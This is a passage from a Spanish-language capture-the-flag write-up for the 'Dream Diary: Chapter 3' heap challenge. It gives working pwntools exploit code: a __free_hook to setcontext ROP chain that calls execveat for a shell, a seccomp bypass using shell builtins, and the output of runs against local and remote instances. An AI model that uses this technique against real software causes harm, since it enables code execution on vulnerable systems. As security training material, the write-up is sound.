55e35: 48 8b a2 a0 00 00 00 mov rsp,QWORD PTR [rdx+0xa0]
55e3c: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80]
55e43: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78]
55e47: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48]
55e4b: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50]
55e4f: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58]
55e53: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60]
55e57: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8]
55e5e: 51 push rcx
55e5f: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70]
55e63: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68]
55e67: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98]
55e6e: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28]
55e72: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30]
55e76: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88]
55e7d: 31 c0 xor eax,eax
55e7f: c3 ret
55e80: 48 8b 0d e9 df 18 00 mov rcx,QWORD PTR [rip+0x18dfe9] # 1e3e70 <h_errlist@@GLIBC_2.2.5+0xdd0>
55e87: f7 d8 neg eax
55e89: 64 89 01 mov DWORD PTR fs:[rcx],eax
55e8c: 48 83 c8 ff or rax,0xffffffffffffffff
55e90: c3 ret
Disassembly of section __libc_freeres_fn:
Este gadget (setcontext + 0x35
) es útil siempre que tengamos control sobre $rdx
.
Al usar __free_hook
tenemos control sobre $rdi
porque es donde va el primer argumento de free
. Hay otro gadget para controlar $rdx
si controlamos $rdi
:
$ ROPgadget --binary libc.so.6 | grep ': mov rdx, qword ptr \[rdi'
0x0000000000093806 : mov rdx, qword ptr [rdi + 0x28] ; mov qword ptr [rdx + 0x20], rax ; jmp 0x937d6
0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
0x0000000000136125 : mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x135f23
0x0000000000107e68 : mov rdx, qword ptr [rdi] ; jmp 0x107d3f
Estamos interesados en:
0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
Con este, podemos configurar $rdx
al valor en $rdi + 8
y luego llamar a la dirección en $rdx + 0x20
(esto es, $rdi + 0x28
).
Entonces, intentaremos llamar al gadget de setcontext
usando el gadget anterior para configurar un montón de registros a partir de $rdx
. Sin embargo, hay algunos registros que no aparecen en el gadget, por lo que tenemos que configurar $rsp
de forma apropiada para regresar a una segunda cadena ROP que se colocará en el heap y así configurar $rax
, $r10
y ejecutar syscall
:
$ ROPgadget --binary libc.so.6 | grep ': pop r.. ; ret$'
0x000000000012bda5 : pop r10 ; ret
0x0000000000030e4d : pop r12 ; ret
0x0000000000026a25 : pop r13 ; ret
0x0000000000026f9d : pop r14 ; ret
0x0000000000026541 : pop r15 ; ret
0x0000000000047cf8 : pop rax ; ret
0x00000000000253a6 : pop rbp ; ret
0x00000000000314f9 : pop rbx ; ret
0x000000000010b31e : pop rcx ; ret
0x0000000000026542 : pop rdi ; ret
0x000000000012bda6 : pop rdx ; ret
0x0000000000026f9e : pop rsi ; ret
0x0000000000030e4e : pop rsp ; ret
$ ROPgadget --binary libc.so.6 | grep ': syscall'
0x0000000000026bd4 : syscall
Entonces este es el código para las cadenas ROP:
pop_rax_ret_addr = glibc.address + 0x047cf8
pop_r10_ret_addr = glibc.address + 0x12bda5
syscall_addr = glibc.address + 0x26bd4
rop_chain = p64(pop_r10_ret_addr) + p64(0) # envp
rop_chain += p64(pop_rax_ret_addr) + p64(322) # sys_execveat
rop_chain += p64(syscall_addr)
payload = p64(heap_base_addr + 0x1bc0)
payload += b'A' * 16
payload += p64(glibc.sym.setcontext + 0x35)
payload += p64(0) # <-- [rdx + 0x28] = r8
payload += p64(0) # <-- [rdx + 0x30] = r9
payload += b'A' * 16 # padding
payload += p64(0) # <-- [rdx + 0x48] = r12
payload += p64(0) # <-- [rdx + 0x50] = r13
payload += p64(0) # <-- [rdx + 0x58] = r14
payload += p64(0) # <-- [rdx + 0x60] = r15
payload += p64(0) # <-- [rdx + 0x68] = rdi (dir_fd)
payload += p64(heap_base_addr + 0x1ba0) # <-- [rdx + 0x70] = rsi (pointer to "/bin/sh")
payload += p64(0) # <-- [rdx + 0x78] = rbp
payload += p64(0) # <-- [rdx + 0x80] = rbx
payload += p64(0) # <-- [rdx + 0x88] = rdx (argv)
payload += b'A' * 8 # padding
payload += p64(0) # <-- [rdx + 0x98] = rcx
payload += p64(heap_base_addr + 0x1bc8 + len(payload) + 16) # <-- [rdx + 0xa0] = rsp, pointing to ROP chain
payload += rop_chain # <-- [rdx + 0xa8] = rcx, will be pushed
Algunos offsets deben tomarse de GDB. Para iniciar la cadena ROP, debemos ingresar al primer gadget en __free_hook
y llamar a free
sobre un chunk que contenga valores en los offsets 8
y 28
para al gadget de setcontext
y finalmente terminar la cadena ROP para llamar sys_execveat
:
write(p, 0x18, b'/bin/sh\0')
write(p, 0x18, p64(glibc.address + 0x150550))
write(p, 0x158, b'A' * 8 + payload)
delete(p, 13)
Después de mucho trabajo, obtenemos con éxito una shell:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3649245
[*] Heap base address: 0x562b6634f000
[+] Glibc base address: 0x7f4a1d167000
[*] Switching to interactive mode
$ ls
Bad system call (core dumped)
$ whoami
Bad system call (core dumped)
$ id
Bad system call (core dumped)
$ cat flag.txt
Bad system call (core dumped)
Pero… no podemos ejecutar comandos porque las reglas de seccomp
aún bloquean sys_execve
y sys_fork
. Sin embargo, podemos usar comandos propios de shell como echo
:
$ echo asdf
asdf
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Además, podemos listar archivos con echo *
:
$ echo *
diary3 flag.txt ld-2.29.so libc.so.6 note.txt solve.py
Y finalmente, podemos usar read
dentro de un bucle while
para leer un archivo mediante un redirector:
$ while read line; do echo $line; done < flag.txt
HTB{f4k3_fl4g_f0r_t35t1ng}
Más información sobre estos trucos en HackTricks.
Flag
Para ejecutar el exploit de forma remota, necesitamos restar 0x410
a la dirección base del heap porque hay un chunk liberado que aparece en el entorno local pero no aparece cuando se ejecuta detrás del servicio xinetd
. Me refiero a este chunk, que contiene la cadena del banner:
$ gdb -q diary3
Reading symbols from diary3...
(No debugging symbols found in diary3)
Use Pwndbg's config and theme commands to tune its configuration and theme colors!
pwndbg> run
Starting program: ./diary3
Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eedf81 in read () from ./libc.so.6
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x55555555b000 0x0000000000000000 0x0000000000000251 ........Q.......
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
...
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000411 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x203a797261694420 0x2072657470616843 Diary: Chapter
0x55555555b280 0x2065685420202133 0x6f206e7275746572 3! The return o
0x55555555b290 0x6165724420612066 0x207972616944206d f a Dream Diary
0x55555555b2a0 0x646f6d2068746977 0x746f7270206e7265 with modern prot
0x55555555b2b0 0x21736e6f69746365 0x000000000000000a ections!........
0x55555555b2c0 0x0000000000000000 0x0000000000000000 ................
...
0x55555555b640 0x0000000000000000 0x0000000000000000 ................
0x55555555b650 0x0000000000000000 0x0000000000000000 ................
0x55555555b660 0x0000000000000000 0x00000000000209a1 ................ <-- Top chunk
Entonces, esta modificación menor en el exploit hará que funcione:
heap_base_addr -= 0x410 if len(sys.argv) > 1 else 0
Ahora podemos obtener una shell en la instancia remota y leer la flag con los trucos anteriores:
$ python3 solve.py 134.122.104.91:31413
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Opening connection to 134.122.104.91 on port 31413: Done
[*] Heap base address: 0x55bab1eb9000
[+] Glibc base address: 0x7fc444794000
[*] Switching to interactive mode
$ echo *
bin cant_guess_me_f14G.txt dev diary3 ld-2.29.so lib lib64 libc.so.6 start.sh
$ while read line; do echo $line; done < cant_guess_me_f14G.txt
HTB{m0d3rN_Nu11_bYT3+s3cC0mP_b1@Ck1i5t1Ng=>n0t_s0_S@f3!!!}
El exploit completo se puede encontrar aquí: solve.py
.